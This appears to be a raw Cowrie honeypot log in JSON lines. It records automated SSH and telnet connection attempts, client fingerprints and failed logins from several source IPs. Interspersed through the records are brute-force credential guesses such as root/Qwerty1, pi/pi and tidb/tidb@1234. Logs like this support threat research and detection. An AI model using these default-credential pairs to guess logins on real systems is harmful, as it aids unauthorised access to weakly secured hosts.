{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:32.763254Z","src_ip":"176.65.132.129","session":"a0ac52beea48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:32.979441Z","src_ip":"13.71.92.229","session":"bd40b81b3255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45902,"dst_ip":"159.203.135.109","dst_port":22,"session":"42721154eb20","protocol":"ssh","message":"New connection: 176.65.132.129:45902 (159.203.135.109:22) [session: 42721154eb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:34.422698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:34.427835Z","src_ip":"176.65.132.129","session":"42721154eb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:34.510546Z","src_ip":"176.65.132.129","session":"42721154eb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:34.758164Z","src_ip":"176.65.132.129","session":"42721154eb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.87608289718628,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:35.421234Z","src_ip":"152.42.224.71","session":"db244c9aac22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:35.843785Z","src_ip":"176.65.132.129","session":"42721154eb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46034,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5193d4646a8","protocol":"ssh","message":"New connection: 176.65.132.129:46034 (159.203.135.109:22) [session: e5193d4646a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:37.635830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:37.640878Z","src_ip":"176.65.132.129","session":"e5193d4646a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:37.831870Z","src_ip":"176.65.132.129","session":"e5193d4646a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:38.109343Z","src_ip":"176.65.132.129","session":"e5193d4646a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:39.194181Z","src_ip":"176.65.132.129","session":"e5193d4646a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168776512146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:39.867310Z","src_ip":"152.42.224.71","session":"a376d6cb765d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46048,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9e922954cf","protocol":"ssh","message":"New connection: 176.65.132.129:46048 (159.203.135.109:22) [session: 5d9e922954cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:41.026896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:41.031430Z","src_ip":"176.65.132.129","session":"5d9e922954cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:41.113187Z","src_ip":"176.65.132.129","session":"5d9e922954cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:41.360751Z","src_ip":"176.65.132.129","session":"5d9e922954cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:42.552828Z","src_ip":"176.65.132.129","session":"5d9e922954cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.26728940010071,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:42.829547Z","src_ip":"152.42.224.71","session":"9df12c884788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46054,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72660e618ec","protocol":"ssh","message":"New connection: 176.65.132.129:46054 (159.203.135.109:22) [session: d72660e618ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:44.238163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:44.245482Z","src_ip":"176.65.132.129","session":"d72660e618ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:44.328833Z","src_ip":"176.65.132.129","session":"d72660e618ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:44.726103Z","src_ip":"176.65.132.129","session":"d72660e618ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:45.811937Z","src_ip":"176.65.132.129","session":"d72660e618ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53400,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a78b2629997","protocol":"ssh","message":"New connection: 103.153.68.219:53400 (10.17.0.5:22) [session: 8a78b2629997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:46.119262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:46.124958Z","src_ip":"103.153.68.219","session":"8a78b2629997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:46.385333Z","src_ip":"103.153.68.219","session":"8a78b2629997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44256,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd56425cfea3","protocol":"ssh","message":"New connection: 176.65.132.129:44256 (159.203.135.109:22) [session: cd56425cfea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:47.573393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:47.578020Z","src_ip":"176.65.132.129","session":"cd56425cfea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:47.662045Z","src_ip":"176.65.132.129","session":"cd56425cfea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:47.919108Z","src_ip":"176.65.132.129","session":"cd56425cfea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":60894,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d35d2972d3b","protocol":"ssh","message":"New connection: 45.162.8.14:60894 (10.17.0.5:22) [session: 6d35d2972d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:48.515868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:48.520645Z","src_ip":"45.162.8.14","session":"6d35d2972d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:48.642726Z","src_ip":"45.162.8.14","session":"6d35d2972d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"??????","message":"login attempt [root/??????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:48.709651Z","src_ip":"103.153.68.219","session":"8a78b2629997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:49.004058Z","src_ip":"176.65.132.129","session":"cd56425cfea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yyyyy","message":"login attempt [root/yyyyy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:49.137786Z","src_ip":"45.162.8.14","session":"6d35d2972d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.262886Z","src_ip":"45.162.8.14","session":"6d35d2972d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.46475458145142,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.346036Z","src_ip":"152.42.224.71","session":"6b9d7d67dbbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.594248Z","src_ip":"103.153.68.219","session":"8a78b2629997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d736abc8c5f5","protocol":"ssh","message":"New connection: 176.65.132.129:44272 (159.203.135.109:22) [session: d736abc8c5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.786047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.790899Z","src_ip":"176.65.132.129","session":"d736abc8c5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:50.873364Z","src_ip":"176.65.132.129","session":"d736abc8c5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:51.121025Z","src_ip":"176.65.132.129","session":"d736abc8c5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:52.206400Z","src_ip":"176.65.132.129","session":"d736abc8c5f5","protocol":"ssh"}
